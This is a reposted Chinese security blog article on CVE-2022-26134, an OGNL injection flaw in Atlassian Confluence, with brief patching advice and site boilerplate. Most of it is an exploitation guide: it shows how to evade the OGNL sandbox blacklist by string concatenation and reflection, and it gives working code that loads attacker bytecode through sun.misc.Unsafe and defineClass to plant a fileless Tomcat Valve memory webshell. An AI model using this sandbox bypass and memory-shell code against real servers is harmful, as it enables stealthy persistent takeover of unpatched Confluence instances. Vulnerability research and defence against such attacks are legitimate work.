CVE-2022-26134 Confluence 无文件落地的内存马注入姿势

这篇具有很好参考价值的文章主要介绍了CVE-2022-26134 Confluence 无文件落地的内存马注入姿势。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、漏洞信息

最近 Confluence 官方通报了一个严重漏洞 CVE-2022-26134 ,从漏洞描述来看,这是一个 OGNL 表达式注入漏洞。影响版本如下:
from 1.3.0 before 7.4.17
from 7.13.0 before 7.13.7
from 7.14.0 before 7.14.3
from 7.15.0 before 7.15.2
from 7.16.0 before 7.16.4
from 7.17.0 before 7.17.4,
from 7.18.0 before 7.18.1
漏洞出现在xwork-1.0.3-atlassian-10.jar内,ActionChainResult#execute里提取 namespace 参数,并调用 translateVariables 函数,触发 OGNL 表达式注入。

二、沙箱绕过与命令执行

网上现在已经公开的一些简单粗暴的利用方式,只能在 v7.14 及以下系列有效,从 v7.15 版本开始,Confluence 在 OGNL 表达式解析时加入了安全检查,即在 com.opensymphony.xwork.util.OgnlValueStack#findValue 存在黑白名单形式的过滤。
可以看到,安全检查主要是以下四个:
内存马注入,安全,web安全,网络安全
1.首先检查缓存的黑白名单是否能匹配,这里默认为空,所以基本可以认为是无感的。
2.调用 isUnSafeClass 方法,跟进看看
内存马注入,安全,web安全,网络安全
这里调用黑名单对类名和包名进行检测。
3.检查白名单,将属于白名单的类加入缓存
4.递归检查ONGL表达式的每一个tree节点,调用containsUnsafeExpression方法进行检查,跟进查看:
内存马注入,安全,web安全,网络安全
分别对静态方法调用、属性调用、方法调用、变量调用、常量调用等进行检查,尤其静态方法调用的位置采用白名单对允许调用静态方法的类进行限制,所以 OGNL 表达式常规的通过 @[类名]@[方法名] 调用如 java.lang.Runtime 的形式无法使用,且 #request#context 等直接调用 OGNL 上下文变量的形式也在变量调用检查中被禁止。

分析了上述沙箱机制之后,我们还是可以想到通过反射的方式来调用一些被禁止的类或方法。可以看到,使用@java.lang.Class@forName的形式进行反射是被禁止的,这里尝试在ONGL表达式中直接使用Class.forName,发现可行。
为了避免ONGL表达式对调用的类进行过滤,我们选择直接使用javax.script.ScriptEngineManager类来执行恶意代码脚本。但是javax.script.ScriptEngineManager在对常量检查的黑名单里,所以需要通过字符串拼接的方式来绕过黑名单匹配,例如:

Class.forName("jav"+"ax.script.Scri"+"ptEngineManager")

我们需要传入恶意类的字节码,然后使用defineClass获取恶意类实例,字节码过长只能使用post参数传入,但是高版本confluence的黑名单中会过滤掉parameters,所以无法使用#parameters.data[0]的方式来获取post参数,我们可以使用atlassian自带的com.atlassian.core.filters.ServletContextThreadLocal.getRequest().getParaneter(‘data’)来获取参数,且url处理会将参数中的+替换成 ,需要使用replaceAll()方法替换回来。

三、内存马注入

在JDK8时代,攻击者通常使用当前线程的contextClassLoader去反射调用defineClass方法,但是在JDK11中,使用defineClass会抛出警告甚至禁止调用。
那么如果在JDK9-11中要怎么注入内存马呢?
unsafe类中有一个定义类的方法defineAnonymousClass,在defineAnonymousClass中使用defineClass就不会被拦截了。
defineAnonymousClass使用方法如下:

var data=com.atlassian.core.filters.ServletContextThreadLocal.getRequest().getParaneter('data').replaceAll(' ','+');
var dataBytes=java.util.Base64.getDecoder().decode(data);
var safe=java.lang.Class.forName('sun.misc.Unsafe');
var safeCon=safe.getDeclaredField('theUnsafe');
safeCon.setAccessible(true);
var unSafe=safeCon.get(null);
var mem=unSafe.defineAnonymousClass(java.io.File.class,dataBytes,null);
mem.newInstance();

需要注意的是,defineAnonymousClass需要一个模板类,可以先创建出一个正常的类来作为模板,或者任意使用一个类作为模板。
然后在在defineAnonymousClass中使用defineClass来获取恶意类的实例。

public class menShell {
    public menShell() throws InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, ClassNotFoundException {
        String bytes="evilstring(base64)";
        byte[] bytes1 = java.util.Base64.getDecoder().decode(bytes);
        ClassLoader cLoader = java.lang.Thread.currentThread().getContextClassLoader();
        Method method= null;
        method = ClassLoader.class.getDeclaredMethod("defineClass", "".getBytes().getClass(), Integer.TYPE, Integer.TYPE);
        method.setAccessible(true);
        Class memClass = null;
        memClass = (Class) method.invoke(cLoader,bytes1,0,bytes1.length);
        memClass.newInstance();
    }
}

如果使用内部类来编写内存马类,会导致找不到内部类的异常,所以同样需要defineClass来实例化内存马类(defineClass yyds!)。

StandardContext standardContext = (StandardContext) children.get(contextKey);
this.standardContext = standardContext;

String bytes="Valvestring";
byte[] bytes1 = java.util.Base64.getDecoder().decode(bytes);
ClassLoader cLoader = java.lang.Thread.currentThread().getContextClassLoader();
Method method= null;
method = ClassLoader.class.getDeclaredMethod("defineClass", "".getBytes().getClass(), Integer.TYPE, Integer.TYPE);
method.setAccessible(true);
Class memClass = null;
memClass = (Class) method.invoke(cLoader,bytes1,0,bytes1.length);
Valve myValve = (Valve) memClass.newInstance();

Pipeline pipeline = this.standardContext.getPipeline();
pipeline.addValve(myValve);

内存马注入可以参考:
https://xz.aliyun.com/t/9914
https://www.anquanke.com/post/id/225870

四、修复建议

1.通用修复建议
对 Confluence 组件进行集中升级到安全版本,下载地址为:
https://www.atlassian.com/software/confluence/download-archives

2.临时修复建议
(1)替换 xwork 组件 jar
jar包下载地址为:
xwork-1.0.3-atlassian-10.jar
webwork-2.1.5-atlassian-4.jar
CachedConfigurationProvider.class
(2)过滤恶意请求
漏洞出现在请求的url里最后一个/前的内容会被尝试当作ONGL表达式来处理,在标签的属性值被理解为字符串类型时,告诉执行环境%{}中的是 OGNL 表达式,并计算 OGNL 表达式的值。在正常的请求的url中几乎不会出现%{}这样的字符串,所以可以通过过滤掉url中包含%{也就是%24%7B的请求,就可以避免受到攻击。

Reference

https://cn-sec.com/archives/797437.html
https://xz.aliyun.com/t/9914
https://paper.seebug.org/1785
https://www.anquanke.com/post/id/225870文章来源地址https://www.toymoban.com/news/detail-605204.html

到了这里,关于CVE-2022-26134 Confluence 无文件落地的内存马注入姿势的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Taocms 代码注入漏洞(CVE-2022-25578)

    0x01 漏洞介绍 Taocms是中国的一个微型 Cms(内容管理系统)。 Taocms v3.0.2 存在安全漏洞,该漏洞允许攻击者通过任意编辑.htaccess 文件来执行代码注入。 TAOCMS v3.0.2允许攻击者通过任意编辑.htaccess文件来执行代码注入。 0x02 影响版本 Taocms v3.0.2 0x03 漏洞编号 CNNVD编号:CNNVD-202203

    2024年02月03日
    浏览(29)
  • 春秋云境:CVE-2022-32991(SQL注入)

    一.i春秋  二.手工注入 三.sqlmap注入 1.sqlmap注入---文件.txt 2.sqlmap--参数 附:sql注入命令 靶标介绍: 该CMS的welcome.php中存在SQL注入攻击。 打开是一个登录注册页面:  点击登录:url看着也没有sql注入 随意输入邮箱和密码:  并用bp抓包  回显用户名或者密码错误: 考虑到要找

    2024年02月06日
    浏览(31)
  • Django SQL注入漏洞复现 (CVE-2022-28347)

    ​ 在Django 2.2 的 2.2.28 之前版本、3.2 的 3.2.13 之前版本和 4.0 的 4.0.4 之前版本中的 QuerySet.deexplain() 中发现了SQL注入问题。这是通过传递一个精心编制的字典(带有字典扩展)作为**options参数来实现的,并将注入负载放置在选项名称中。 2.2 = Django 2.2.28 3.2 = Django 3.2.13 4.0 = Djan

    2024年02月05日
    浏览(78)
  • 春秋云境:CVE-2022-26201(二次注入漏洞)

    一、题目 二、上传权限马 三、蚁剑马连接 进入题目:  这个是和春秋云境:CVE-2022-28060一个网站,看来应该是存在多个漏洞。 点击admin 不用登录  Users ---- add users 选择文件 这里要是jpg图片格式 如果是php格式是无法运行一句话木马的 普通的一句话木马上传 在这个靶场是访问

    2023年04月21日
    浏览(27)
  • 漏洞复现:Apache Spark 命令注入(CVE-2022-33891)

      Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。Spark是UC Berkeley AMP lab (加州大学伯克利分校的AMP实验室)所开源的类Hadoop MapReduce的通用并行框架,Spark,拥有Hadoop MapReduce所具有的优点;但不同于MapReduce的是——Job中间输出结果可以保存在内存中,从而不再需

    2024年02月09日
    浏览(31)
  • Django SQL注入漏洞分析(CVE-2022-28346)

    Django 在2022年发布的安全更新,修复了在 QuerySet 的 annotate(), aggregate(), extra() 等函数中存在的 SQL 注入漏洞。 2.2= Django Django 2.2.28 3.2= Django Django 3.2.13 4.0= Django Django 4.0.4 需要使用了 annotate 或者 aggregate 或 extra 方法 利用 pycharm 创建一个 python 项目 ​ 创建完成项目后在 Setti

    2024年02月03日
    浏览(39)
  • [春秋云镜wp]CVE-2022-28060 CVE-2022-26201 Victor CMS v1.0存在sql注入漏洞复现拿flag

     访问题目提示的login.php,登录框登录抓包,保存为2.txt,sqlmap跑起来 时间3分钟左右,自己手动输入Y后回车,跑完根据提示打开文件夹,拿到flag  动下小手来个赞吧~~~  和上面同类型,点击首页上面banner的admin,未授权直接进入,找到如图的注入点   抓包,保存为3.txt,s

    2024年02月11日
    浏览(36)
  • MICROSOFT OFFICE MSDT操作系统命令注入漏洞(CVE-2022-30190)

    目录 漏洞概述 受到影响的产品和版本 漏洞复现 1、搭建靶场 2、攻击复现 一、执行系统程序 二、执行系统命令 修复 Microsoft Windows Support Diagnostic Tool是美国微软(Microsoft)公司的收集信息以发送给 Microsoft 支持的工具(Windows上的微软支持诊断工具中存在此漏洞)。当从Word等

    2024年02月06日
    浏览(28)
  • 春秋云境:CVE-2022-25401(任意文件读取漏洞)

    一、题目 二、curl访问flag文件 介绍:         Cuppa CMS v1.0 administrator/templates/default/html/windows/right.php文件存在任意文件读取漏洞  进入题目 是一个登录页面 sql和暴破都无解。 官方POC  国家信息安全漏洞库 cve漏洞介绍 官方给错了目录 没有administrator/ 找不到 官方poc  代码块

    2024年02月10日
    浏览(32)
  • 【严重】Atlassian Confluence 模板注入代码执行漏洞

    Confluence 是由Atlassian公司开发的企业协作和文档管理工具。 Atlassian Confluence Data Center/Server 受影响版本中存在模版注入漏洞,攻击者通过构造恶意请求,可以在未登录的情况下在Confluence实例上触发远程代码执行漏洞。 漏洞已在8.5.4版本中修复,可能与velocity引擎中对snakeyaml、

    2024年01月17日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包